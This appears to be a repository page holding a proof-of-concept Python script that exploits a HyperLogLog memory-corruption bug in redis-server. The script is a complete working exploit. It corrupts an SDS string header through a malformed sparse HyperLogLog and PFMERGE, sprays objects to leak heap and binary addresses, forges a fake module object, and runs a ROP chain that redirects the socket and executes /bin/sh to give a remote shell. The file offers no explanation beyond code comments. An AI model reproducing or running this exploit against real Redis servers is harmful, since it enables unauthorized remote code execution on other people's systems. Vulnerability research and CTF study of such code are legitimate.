README.md
Rendering markdown...
POC
/
solver-f0b22e429fa6c984f39a409744ff954d3a45d843edd29428ef3a68085d696a7d.py
PY
#!/usr/bin/env python3
from pwn import *
import redis
import random
import string
HOST, PORT = 'localhost', 6379
binary = ELF('./redis-server')
# client to send redis commands
r = redis.Redis(HOST, PORT)
# client to pop shell
p = remote(HOST, PORT)
p.sendline('client info')
p.recvuntil('fd=')
fd = int(p.recvline().split()[0])
log.info(f'{fd = }')
HLL_DENSE = 0
HLL_SPARSE = 1
HLL_DENSE_SIZE = 0x3010
# make a dense hll, which is just a string with specific encodings
pl = b'HYLL'
pl += p8(HLL_DENSE)
pl = pl.ljust(HLL_DENSE_SIZE, p8(0))
r.set('hll:dense', pl)
# assert that the hll encoding is valid
r.pfadd('hll:dense')
# make a malformed sparse hll, again just a string
def xzero(sz):
assert 1 <= sz <= 0x4000
sz -= 1
return p8(0b01_000000 | (sz >> 8)) + p8(sz & 0xff)
pl = b'HYLL'
pl += p8(HLL_SPARSE) + p8(0)*3
pl += p8(0)*8
assert len(pl) == 0x10
pl += xzero(0x4000) * 0x3fffd # -0xc000
pl += xzero(0xc000 - 0x956c) # -0x956c, where divmod(-0x956c*6, 8) = (-0x7011, 0)
pl += p8(0b1_00011_00) # runlen = 1, regval = 4 = SDS_TYPE_64 => -0x956b, overwrite sds:b type
pl += xzero(0x156b) # -0x8000
pl += xzero(0x4000) * 3 # 0x4000
r.set('hll:exp', pl)
# prep 14KiB sds
fakelen = 0x4142434445464748
r.setrange('sds:a', 0x37fa - 11, p64(fakelen)) # sds @ 0x0005, p64() 00 00 00 00
r.setrange('sds:b', 0x37fa - 8, b'B'*8) # sds @ 0x3805, ................. fa 37 fa 37 02 ~
r.setrange('sds:c', 0x37fa - 8, b'C'*8) # sds @ 0x7005
# trigger hllMerge + hllSparseToDense
# alloc 0x3010 => round 0x3800 (14KiB)
r.pfmerge('hll:exp', 'hll:dense') # sds @ 0xa805
# assert that string type is modified
assert r.strlen('sds:b') == fakelen
# spray embstr objects
marker = ''.join(random.choices(string.ascii_letters + string.digits, k=8)).encode()
log.info(f'{marker = }')
spray_cnt = 0x100000 // 0x40
for i in range(spray_cnt // 0x400): # batch spray with mset
ms = {}
for j in range(0x400):
idx = i * 0x400 + j
ms[f'sds:_{idx}'] = (marker+p64(idx)).ljust(0x2b, b' ')
r.mset(ms)
# dump the heap!
dump = r.getrange('sds:b', 0, 0x100000)[3:]
# egghunt valid embstr object
mark = 0x3700
while mark < len(dump):
mark = dump.find(marker, mark)
assert mark != -1
tofs = mark - 3 - 0x10
# assert type|encoding, refcount, sdshdr8 fields
if dump[tofs] == 0x80 and u32(dump[tofs+4:tofs+8]) == 0x1 and dump[tofs+0x10:tofs+0x13] == b'\x2b\x2b\x01':
break
mark += 8
else:
assert False, '[!] embstr spray egghunt fail'
# target robj
tadr = u64(dump[tofs+8:tofs+0x10]) - 3 - 0x10
tkey = f'sds:_{u64(dump[tofs+3+0x18:tofs+3+0x20])}'
log.success(f'{tofs = :#x} ({tkey = })')
log.success(f'{tadr = :#014x}')
# sds:b header
badr = tadr - tofs - 8
log.info(f'{badr = :#014x}')
# egghunt redis-server base
egg = binary.sym['je_ehooks_default_extent_hooks'] & 0xfff
for i in range(0x10000 - ((badr + 8) & 0xffff), len(dump), 0x10000):
if u64(dump[i:i+8]) == 0x200000 and (u64(dump[i+0xc8:i+0xd0]) & 0xfff) == egg and (u64(dump[i+0xd8:i+0xe0]) & 0xfff) == egg:
binary.address = u64(dump[i+0xc8:i+0xd0]) - binary.sym['je_ehooks_default_extent_hooks']
break
else:
assert False, '[!] redis-server base egghunt fail'
assert (binary.address & 0xfff) == 0
log.success(f'{binary.address = :#014x}')
# fake module object
pl = p8(0x05) + dump[tofs+1:tofs+4] # type, encoding, lru
pl += p32(1) # refcount
pl += p64(badr + 0x10) # ptr
r.setrange('sds:b', tofs+3, pl)
'''
0x001b9991: mov rax, rdi; mov rsi, [rdi+8]; mov rdi, [rdi]; mov rbp, rsp; call qword ptr [rax+0x10];
0x00226097: mov rbp, rdi; mov esi, 0x10; mov edi, 1; call qword ptr [rax+8];
0x001410ec: leave; ret;
0x002d6706: pop rdi; ret;
0x002d5cfb: pop rsi; ret;
0x000fc472: pop rdx; ret;
'''
# fake module value (badr + 0x10)
B = binary.address
PRDI = B+0x002d6706
PRSI = B+0x002d5cfb
PRDX = B+0x000fc472
# badr + 0x10
pl = p64(badr + 0x20 - 7*8) # mv->type
pl += p64(badr + 0x2010) # mv->value (rdi)
pl += p64(B + 0x001b9991) # mv->type->free (rip), gadget #0
pl = pl.ljust(0x1000, b'\0')
# badr + 0x1010
pl += b'/bin/sh\0' # 0x1010
pl += p64(badr + 0x1010) # 0x1018
pl += p64(0) # 0x1020
pl = pl.ljust(0x2000, b'\0')
# badr + 0x2010 (=rdi)
pl += p64(badr + 0x2028) # [rdi], rbp to set
pl += p64(B + 0x001410ec) # [rax+8], gadget #2
pl += p64(B + 0x00226097) # [rax+8], gadget #1
pl += p64(0) # popped rbp
# ret, ROP starts here
# FD_CLOEXEC is dropped on dup2 newfd
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(0) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(1) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(fd) + p64(PRSI) + p64(2) + p64(binary.plt['dup2'])
pl += p64(PRDI) + p64(badr + 0x1010)
pl += p64(PRSI) + p64(badr + 0x1018)
pl += p64(PRDX) + p64(0)
pl += p64(binary.plt['execve'])
r.setrange('sds:b', 3+8, pl)
r.close()
del r
# trigger module free!
p.sendline(f'set {tkey} 0')
p.interactive()